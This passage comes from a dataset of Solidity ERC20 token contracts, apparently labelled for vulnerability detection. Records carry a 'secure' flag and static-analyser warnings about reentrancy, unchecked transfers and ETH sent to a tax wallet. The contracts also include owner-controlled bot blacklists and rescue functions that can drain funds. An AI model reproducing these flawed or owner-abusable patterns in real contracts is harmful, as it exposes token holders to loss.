isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 07bb67b): BRETTNESS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 07bb67b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cc26af5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cc26af5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 733d317): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 733d317: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: cc26af5\n\t\t// reentrancy-benign | ID: 733d317\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: cc26af5\n\t\t// reentrancy-benign | ID: 733d317\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 04a4322): BRETTNESS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 04a4322: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 733d317\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: cc26af5\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 55d9f9d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 55d9f9d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: f6c8407): BRETTNESS._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for f6c8407: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4ca58c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4ca58c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2799aac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2799aac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: f6c8407\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 55d9f9d\n\t\t\t\t// reentrancy-eth | ID: 4ca58c7\n\t\t\t\t// reentrancy-eth | ID: 2799aac\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 55d9f9d\n\t\t\t\t\t// reentrancy-eth | ID: 4ca58c7\n\t\t\t\t\t// reentrancy-eth | ID: 2799aac\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4ca58c7\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4ca58c7\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 55d9f9d\n\t\t\t\t// reentrancy-eth | ID: 2799aac\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 55d9f9d\n\t\t\t\t\t// reentrancy-eth | ID: 2799aac\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2799aac\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 55d9f9d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 2799aac\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 2799aac\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 55d9f9d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cc26af5\n\t\t// reentrancy-events | ID: 55d9f9d\n\t\t// reentrancy-benign | ID: 733d317\n\t\t// reentrancy-eth | ID: 4ca58c7\n\t\t// reentrancy-eth | ID: 2799aac\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a90415f): BRETTNESS.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for a90415f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: cc26af5\n\t\t// reentrancy-events | ID: 55d9f9d\n\t\t// reentrancy-eth | ID: 4ca58c7\n\t\t// reentrancy-eth | ID: 2799aac\n\t\t// arbitrary-send-eth | ID: a90415f\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d66c468): BRETTNESS.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for d66c468: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint256 _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: d66c468\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ec4431a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ec4431a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f19e6cb): BRETTNESS.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f19e6cb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3bdc61a): BRETTNESS.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3bdc61a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8505b19): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8505b19: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: ec4431a\n\t\t// unused-return | ID: f19e6cb\n\t\t// reentrancy-eth | ID: 8505b19\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ec4431a\n\t\t// unused-return | ID: 3bdc61a\n\t\t// reentrancy-eth | ID: 8505b19\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: ec4431a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8505b19\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: ec4431a\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1315.sol",
"secure": 0,
"size_bytes": 20270
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SHISO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1c0054f): SHISO._taxWallet should be immutable \n\t// Recommendation for 1c0054f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 090bab6): SHISO._initialBuyTax should be constant \n\t// Recommendation for 090bab6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: f9a70d4): SHISO._initialSellTax should be constant \n\t// Recommendation for f9a70d4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a71aadb): SHISO._reduceBuyTaxAt should be constant \n\t// Recommendation for a71aadb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7e30628): SHISO._reduceSellTaxAt should be constant \n\t// Recommendation for 7e30628: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 098aca9): SHISO._preventSwapBefore should be constant \n\t// Recommendation for 098aca9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Akaishiso\";\n\n string private constant _symbol = unicode\"SHISO\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7af801c): SHISO._taxSwapThreshold should be constant \n\t// Recommendation for 7af801c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 779dad3): SHISO._maxTaxSwap should be constant \n\t// Recommendation for 779dad3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool public tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event OpenTrade(address indexed owner, uint256 timestamp);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function getTaxDetails()\n public\n view\n returns (\n uint256 initialBuyTax,\n uint256 initialSellTax,\n uint256 finalBuyTax,\n uint256 finalSellTax,\n uint256 transferTax\n )\n {\n return (\n _initialBuyTax,\n _initialSellTax,\n _finalBuyTax,\n _finalSellTax,\n _transferTax\n );\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a80a02f): SHISO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a80a02f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6c2cec6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6c2cec6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b687ff1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b687ff1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6c2cec6\n\t\t// reentrancy-benign | ID: b687ff1\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6c2cec6\n\t\t// reentrancy-benign | ID: b687ff1\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d8682b0): SHISO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d8682b0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b687ff1\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6c2cec6\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 69e4f90): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 69e4f90: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 51c6057): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 51c6057: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 69e4f90\n\t\t\t\t// reentrancy-eth | ID: 51c6057\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 69e4f90\n\t\t\t\t\t// reentrancy-eth | ID: 51c6057\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 51c6057\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 51c6057\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 51c6057\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 69e4f90\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 51c6057\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 51c6057\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 69e4f90\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6c2cec6\n\t\t// reentrancy-events | ID: 69e4f90\n\t\t// reentrancy-benign | ID: b687ff1\n\t\t// reentrancy-eth | ID: 51c6057\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 66c5b44): SHISO.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 66c5b44: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6c2cec6\n\t\t// reentrancy-events | ID: 69e4f90\n\t\t// reentrancy-eth | ID: 51c6057\n\t\t// arbitrary-send-eth | ID: 66c5b44\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5f30aa0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5f30aa0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 202f54d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 202f54d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: affc245): SHISO.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for affc245: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a01c31a): SHISO.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a01c31a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 616649b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 616649b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-events | ID: 5f30aa0\n\t\t// reentrancy-benign | ID: 202f54d\n\t\t// reentrancy-eth | ID: 616649b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 5f30aa0\n\t\t// reentrancy-benign | ID: 202f54d\n\t\t// unused-return | ID: affc245\n\t\t// reentrancy-eth | ID: 616649b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-events | ID: 5f30aa0\n\t\t// reentrancy-benign | ID: 202f54d\n\t\t// unused-return | ID: a01c31a\n\t\t// reentrancy-eth | ID: 616649b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 202f54d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 616649b\n tradingOpen = true;\n\n\t\t// reentrancy-events | ID: 5f30aa0\n emit OpenTrade(owner(), block.timestamp);\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 4d1ecb2): SHISO.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 4d1ecb2: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 4d1ecb2\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1316.sol",
"secure": 0,
"size_bytes": 19310
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _getSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}",
"file_name": "solidity_code_1317.sol",
"secure": 1,
"size_bytes": 202
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _manager;\n\n event OwnershipTransferred(\n address indexed userOne,\n address indexed userTwo\n );\n\n constructor() {\n address msgSender = _getSender();\n\n _manager = _getSender();\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n modifier onlyOwner() {\n require(\n _manager == _getSender(),\n \"Ownable: the caller must be the owner\"\n );\n\n _;\n }\n\n function getTheOwner() public view returns (address) {\n return _manager;\n }\n\n function transferOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_manager, address(0));\n\n _manager = address(0);\n }\n}",
"file_name": "solidity_code_1318.sol",
"secure": 1,
"size_bytes": 907
}
|
{
